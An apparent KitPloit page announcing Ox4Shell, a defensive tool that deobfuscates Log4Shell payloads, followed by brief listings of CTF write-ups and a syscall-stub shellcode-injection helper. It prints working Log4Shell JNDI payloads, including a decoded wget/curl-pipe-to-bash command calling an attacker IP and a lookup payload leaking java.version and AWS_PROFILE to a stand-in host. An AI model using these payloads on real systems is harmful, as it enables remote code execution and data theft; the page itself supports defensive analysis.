Ox4Shell - Deobfuscate Log4Shell Payloads With Ease
http://www.kitploit.com/2022/08/ox4shell-deobfuscate-log4shell-payloads.html

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Deobfuscate Log4Shell payloads with ease. Description Since the release of the Log4Shell vulnerability (https://www.kitploit.com/search/label/Vulnerability) (CVE-2021-44228), many tools were created to obfuscate Log4Shell payloads, making the lives of security engineers a nightmare. This tool intends to unravel the true contents of obfuscated Log4Shell payloads. For example, consider the following obfuscated payload: ${zrch-Q(NGyN-yLkV:-}${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:2@BH[)]Tmw:a(:-da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/1.${)U:W9y=N:-}${i9yX1[:Z[Ve2=IkT=Z-96:-1.1}${[W*W:w@q.tjyo@-vL7thi26dIeB-HxjP:-.1}:38${Mh:n341x.Xl2L-8rHEeTW*=-lTNkvo:-90/}${sx3-9GTRv:-Cal}c$c${HR-ewA.mQ:g6@jJ:-z}3z${uY)u:7S2)P4ihH:M_S8fanL@AeX-PrW:-]}${S5D4[:qXhUBruo-QMr$1Bd-.=BmV:-}${_wjS:BIY0s:-Y_}p${SBKv-d9$5:-}Wx${Im:ajtV:-}AoL${=6wx-_HRvJK:-P}W${cR.1-lt3$R6R]x7-LomGH90)gAZ:NmYJx:-}h}
After running Ox4Shell, it would transform into an intuitive and readable form: ${jndi:ldap://1.1.1.1:3890/Calc$cz3z]Y_pWxAoLPWh}
This tool also aids to identify and decode (https://www.kitploit.com/search/label/Decode) base64 commands For example, consider the following obfuscated payload: ${jndi:ldap://1.1.1.1:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==}
After running Ox4Shell, the tool reveals the attacker’s intentions: ${jndi:ldap://1.1.1.1:1389/Basic/(wget -O - http://185.250.148.157:8005/acc||curl -o - http://185.250.148.157:8005/acc)|/bin/bash
We recommend running Ox4Shell with a provided file (-f) rather than an inline payload (https://www.kitploit.com/search/label/Payload) (-p), because certain shell environments will escape important characters, therefore will yield inaccurate results.Usage To run the tool simply: ~/Ox4Shell » python ox4shell.py --help
usage: ox4shell [-h] [-d] [-m MOCK] [--max-depth MAX_DEPTH] [--decode-base64] (-p PAYLOAD | -f FILE)

____ _ _ _____ _ _ _
/ __ \ | || | / ____| | | | |
| | | |_ _| || || (___ | |__ ___| | |
| | | \ \/ /__ _\___ \| '_ \ / _ \ | |
| |__| |> < | | ____) | | | | __/ | |
\____//_/\_\ |_||_____/|_| |_|\___|_|_|

Ox4Shell - Deobfuscate (https://www.kitploit.com/search/label/Deobfuscate) Log4Shell payloads with ease.
Created by https://oxeye.io

General:
-h, --help Show this help message and exit
-d, --debug Enable debug mode (default: False)
-m MOCK, --mock MOCK The location of the mock data JSON file that replaces certain values in the payload (default: mock.json)
--max-depth MAX_DEPTH
The ma ximum number of iteration to perform on a given payload (default: 150)
--decode-base64 Payloads containing base64 will be decoded (default: False)

Targets:
Choose which target payloads to run Ox4Shell on

-p PAYLOAD, --payload PAYLOAD
A single payload to deobfuscate, make sure to escape '$' signs (default: None)
-f FILE, --file FILE A file containing payloads delimited by newline (default: None)
Mock Data The Log4j library (https://www.kitploit.com/search/label/Library) has a few unique lookup functions, which allow users to look up environment variables, runtime information on the Java process, and so forth. This capability grants threat actors the ability to probe for specific information that can uniquely identify the compromised machine they targeted. Ox4Shell uses the mock.json file to insert common values into certain lookup function, for example, if the payload contains the value ${env:HOME}, we can replace it with a custom mock value. The default set of mock data provided is: {
"hostname": "ip-127.0.0.1",
"env": {
"aws_profile": "staging",
"user": "ubuntu",
"pwd": "/opt/",

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"path": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin"
},
"sys": {
"java.version": "16.0.2",
"user.name": "ubuntu"
},
"java": {
"version": "Java version 16.0.2",
"runtime": "OpenJDK Runtime Environment (build 1.8.0_181-b13) from Oracle Corporation",
"vm": "OpenJDK 64-Bit Server VM (build 25.181-b13, mixed mode)",
"os": "Linux 5.10.47-linuxkit unknown, architecture: amd64-64",
"locale": "default locale: en_US, platform encoding: UTF-8",
"hw": "processors: 1, architecture: amd64-64"
}
}
As an example, we can deobfuscate the following payload using the Ox4Shell's mocking capability: > python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.\${env:AWS_PROFILE}.malicious.server/a}" ${jndi:ldap://16.0.2.staging.malicious.server/a}'>~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.\${env:AWS_PROFILE}.malicious.server/a}"
${jndi:ldap://16.0.2.staging.malicious.server/a} Authors Daniel Abeles (https://twitter.com/Daniel_Abeles) Ron Vider (https://twitter.com/ron_vider) License The source code for the project is licensed under the MIT license, which you can find in the LICENSE file.

Download Ox4Shell (https://github.com/ox-eye/Ox4Shell)

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Hacking on Medium
Server Side Template Injections Portswiggers Labs Walkthrough.

https://cdn-images-1.medium.com/max/770/0*_fRGG5ntaNZoj3T9.png
Hi my name is Hashar Mujahid. Today we are going to solve some labs regarding server-side template Injections.

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Hacking on Medium
Advent of Cyber 3 (2021): Day 14 Write-up [TryHackMe]

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Welcome to another write-up of Advent of Cyber 3.

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Hacking on Medium
Memcpy wirteup pwnable.kr

https://cdn-images-1.medium.com/max/600/1*SrgWLnjUjuOQQooiRPqYQw.png
Exploit and Solution

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Hacking on Medium
Timelapse — HackTheBox WalkThrough

https://cdn-images-1.medium.com/max/723/1*ITANkgHra0kyqICQnMqhdQ.png
This post is regarding an HTB machine named Timelapse.

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Hacking on Medium
What Is Ethical Hacking in 2022 and How Does It Work?

https://cdn-images-1.medium.com/max/1080/0*L5oeN0sJbJHsvmqj
The term “hacker” was coined to describe experts who used their skills to re-develop mainframe systems, increasing their efficiency and…

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6. How It Works — Finger Vein Biokey Authentication

https://cdn-images-1.medium.com/max/600/1*eDREKypunmd-3EtHylT45A.png
Finger vein recognition is a relatively new method of biometric authentication. Since hemoglobin in the blood absorbs near-infrared lights…

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5. The Significance of Finger Vein Biokey Technology in Comparison to Existing Security Technology

https://cdn-images-1.medium.com/max/600/1*-V_JKZWvqkcEe_vQbQkp8w.png
The finger vein authentication technology has recently received much attention as a new method for biometric authentication because the…

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Kali Linux Tutorials
NimGetSyscallStub : Get Fresh Syscalls From A Fresh Ntdll.Dll Copy

NimGetSyscallStub, Get fresh Syscalls from a fresh ntdll.dll copy. This code can be used as an alternative to the already published awesome tools NimlineWhispers and NimlineWhispers2 by @ajpc500 or ParallelNimcalls.

The advantage of grabbing Syscalls dynamically is, that the signature of the Stubs is not included in the file and you don’t have to worry about changing Windows versions.

To compile the shellcode execution template run the following:

nim c -d:release ShellcodeInject.nim

The result should look like this:
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjat-K3JsmgPpOThCeSoLAmdkskIIJ8T6MmEqMN8QZyVx9iwFLISFBmlXZNddM1eTwed2hPo-CTQtk_VViTz6sM1XQsfziWaM8aoSEwc-EafnltdHHt1JaWeuJoXnelwZJegqYV4mAKm7tQVnj0-cZYhSeMUnIS3j7CGer9UXd6l7yHjbudlOkb1Su4/s687/PoC.png

Download

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